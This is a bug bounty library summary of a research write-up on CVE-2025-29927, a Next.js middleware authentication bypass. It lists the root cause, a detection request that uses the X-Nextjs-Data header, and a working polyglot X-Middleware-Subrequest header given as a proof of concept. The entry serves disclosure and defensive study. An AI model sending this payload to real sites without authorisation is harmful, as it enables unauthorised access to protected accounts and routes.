# Next.js Middleware Bypass CVE-2025-29927: Due Diligence Analysis

Next.js middleware auth bypass via x-middleware-subrequest header; Assetnote improves detection by leaking x-nextjs-redirect with x-nextjs-data and a single polyglot payload.

- Payout: Research
- Severity: critical
- Program: Next.js
- Write-up by: zhero & inzo_
- Disclosed: 2025-03-24
- CVE: CVE-2025-29927
- Write-up quality: 7/10
- Original: https://www.slcyber.io/research/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927
- Library page: https://bugbountylibrary.com/r/blog%3Aslcyber-io-research-doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927
- Tags: area:web domain:web impact:ato kind:research platform:research sev:critical tech:nextjs technique:recon technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Next.js middleware layer / HTTP headers
**Root cause:** Next.js trusts the x-middleware-subrequest header to skip middleware execution, allowing attackers to bypass auth logic implemented in middleware.
**Steps:**
1. Send `GET / HTTP/2` with `X-Nextjs-Data: 1` to detect middleware redirects via `x-nextjs-redirect` header.
2. If response is 307 with non-null `x-nextjs-redirect`, `x-middleware-rewrite`, or `x-nextjs-rewrite`, target is likely vulnerable.
3. Send exploit request with `X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware`.
4. Observe HTTP 200 with authentication bypassed.
**How found:** Audited Next.js source to find that `x-nextjs-data: 1` coerces an internal `x-nextjs-redirect` header on redirects, which public checks missed because they only looked for rewrite headers.
**Exploitation:** Attacker sends crafted x-middleware-subrequest header to skip middleware auth checks, gaining access to protected routes.
**Insight:** Public scanners only check for rewrite headers; redirect-based middleware auth is common and leaks `x-nextjs-redirect` when `x-nextjs-data: 1` is sent, so test redirect flows and use a single polyglot subrequest header to cover all bypass variants.

## Proof of concept (copied exactly from the original report)

**Polyglot X-Middleware-Subrequest bypass header**

```
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
```

**Detection request leaking x-nextjs-redirect header**

```
GET / HTTP/2
Host: target
Accept-Encoding: gzip, deflate, br
X-Nextjs-Data: 1
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

## Write-ups of the same bug (oldest first)
- 2025-03-18: [Next.js and the corrupt middleware: the authorizing artifact](https://bugbountylibrary.com/r/blog%3Azhero-web-sec-github-io-research-and-things-nextjs-and-the-corrupt-middleware)
- 2025-03-24: [Next.js Middleware Bypass CVE-2025-29927: Due Diligence Analysis](https://bugbountylibrary.com/r/blog%3Aslcyber-io-research-doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927) — zhero & inzo_ (this one)